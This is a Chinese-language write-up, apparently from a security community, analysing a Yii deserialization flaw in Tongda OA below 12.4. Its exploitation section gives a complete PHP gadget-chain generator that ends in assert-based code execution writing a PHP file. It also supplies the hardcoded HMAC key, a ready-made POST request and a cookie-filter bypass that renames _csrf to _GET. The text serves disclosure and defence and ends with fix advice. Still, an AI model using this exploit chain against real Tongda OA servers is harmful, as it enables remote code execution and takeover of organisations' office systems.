通达OA <12.4 反序列化漏洞分析
字数 1317 2025-08-24 10:10:13
通达OA <12.4 反序列化漏洞分析与利用指南
漏洞概述
本漏洞是通达OA系统中Yii框架的反序列化漏洞,影响版本低于12.4。攻击者可通过构造恶意的CSRF Token触发反序列化操作,最终实现远程代码执行。
前置知识
1. Yii框架版本确认
通达OA 11.10使用的Yii框架版本为2.0.13-dev,可通过以下代码确认:
static public function getVersion() {
return "2.0.13-dev";
}
2. Yii CSRF Token配置
Yii框架默认开启CSRF验证,配置方式有三种:
- 单个Controller开启:
public $enableCsrfValidation = true; - 全局开启:在
/config/main.php中设置 - 针对数据流设置:在
Request.php中设置$enableCsrfValidation = true
3. CSRF Token格式
CSRF Token在Cookie中的格式如下:
_csrf=[0-9a-zA-Z]a:2:{i:0;s:5:"_csrf";i:1;s:32:"[0-9a-zA-Z]"}
示例:
_csrf=1e21c37c4e981a0a44b6ae2c6af5f73007458c445682db139b040fc8262a9266a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22brBzjgY3PLWqhQtyweObnwZg74YP17Fn%22%3B%7D
漏洞分析
1. 反序列化触发点
漏洞触发点在yii/helpers/BaseHtml的csrfMetaTags方法,该方法会调用yii/web/Request::getCsrfToken获取CSRF Token。
关键调用链:
csrfMetaTags()->getCsrfToken()getCsrfToken()->loadCsrfToken()loadCsrfToken()->getCookies()->loadCookies()
在loadCookies()方法中,对Cookie值进行验证后执行反序列化操作:
$data = @unserialize($data);
2. 通达OA调用csrfMetaTags的位置
general/appbuilder/views/layouts/main.php中调用了csrfMetaTags方法:
echo yii\helpers\Html::csrfMetaTags();
触发漏洞的路由为:/general/appbuilder/portal/gateway/?
3. 反序列化利用链
利用链构造如下:
- 起点:
yii\db\BatchQueryResult的__destruct方法 - 第二步:调用
yii\db\DataReader的close方法 - 第三步:调用
yii\redis\Connection的__call方法 - 第四步:调用
yii\base\Component的trigger方法 - 终点:通过
yii\rest\CreateAction执行任意代码
完整利用链:
yii\db\BatchQueryResult ->
yii\db\DataReader ->
yii\redis\Connection ->
yii\base\Component ->
yii\rest\CreateAction
漏洞复现
1. 生成反序列化Payload
<?php
// step4 - 最终执行点
namespace yii\rest {
class CreateAction {
public $id;
public $checkAccess;
public function __construct() {
$this->checkAccess = 'assert';
$this->id = "file_put_contents('hgsd.php','<?php echo 123;?>')";
}
}
}
// step3 - 触发call_user_func
namespace yii\base {
use yii\rest\CreateAction;
class Component {
private $_events = [];
private $_behaviors = 1;
public function __construct() {
$this->_events = ["afterOpen" => [[[new CreateAction(), "run"], "a"]]];
}
}
}
// step2 - Redis连接处理
namespace yii\redis {
use yii\base\Component;
class Connection extends Component {
public $redisCommands = [];
public $hostname = '';
public $port;
public $password;
public $username;
public $connectionTimeout;
public $dataTimeout;
public $database;
public $unixSocket;
private $_socket;
public function __construct() {
$this->redisCommands = ['CLOSE CURSOR'];
$this->_socket = false;
$this->hostname = '127.0.0.1';
$this->port = 803; // 可连接的任意本地端口
$this->unixSocket = false;
$this->connectionTimeout = 5;
parent::__construct();
}
}
}
// step1 - 反序列化起点
namespace yii\db {
use yii\redis\Connection;
class DataReader {
private $_statement;
private $_closed = false;
private $_row;
private $_index = -1;
public function __construct() {
$this->_statement = new Connection();
}
}
class BatchQueryResult {
public $batchSize = 100;
public $each = false;
private $_dataReader;
private $_batch;
private $_value;
private $_key;
public function __construct() {
$this->_dataReader = new DataReader();
}
}
}
// 生成Payload
namespace {
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
2. 生成HMAC哈希
使用SHA256算法计算Payload的HMAC哈希:
<?php
$pureData = base64_decode('生成的Payload');
$calculatedHash = hash_hmac('sha256', $pureData, 'tdide2', false);
echo $calculatedHash;
3. 构造HTTP请求
请求示例:
POST /general/appbuilder/web/portal/gateway/? HTTP/1.1
Host: target.com
Cookie: _GET=生成的HMAC哈希+URL编码后的Payload
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
绕过防护
通达OA在inc/common.inc.php中对Cookie进行了过滤:
if (0 < count($_COOKIE)) {
foreach ($_COOKIE as $s_key => $s_value) {
if ((substr($s_key, 0, 7) == "_SERVER") ||
(substr($s_key, 0, 8) == "_SESSION") ||
(substr($s_key, 0, 7) == "_COOKIE") ||
(substr($s_key, 0, 4) == "_GET") ||
(substr($s_key, 0, 5) == "_POST") ||
(substr($s_key, 0, 6) == "_FILES")) {
continue;
}
if (!is_array($s_value)) {
$_COOKIE[$s_key] = addslashes(strip_tags($s_value));
}
$s_key = $_COOKIE[$s_key];
}
reset($_COOKIE);
}
绕过方法:将_csrf改为_GET、_POST等不会被过滤的键名。
修复建议
- 升级通达OA到最新版本
- 禁用不必要的路由访问
- 修改默认的
cookieValidationKey值 - 对Cookie值进行更严格的过滤
参考
- 通达OA官方更新日志
- Yii框架安全公告
- 先知社区原始分析文章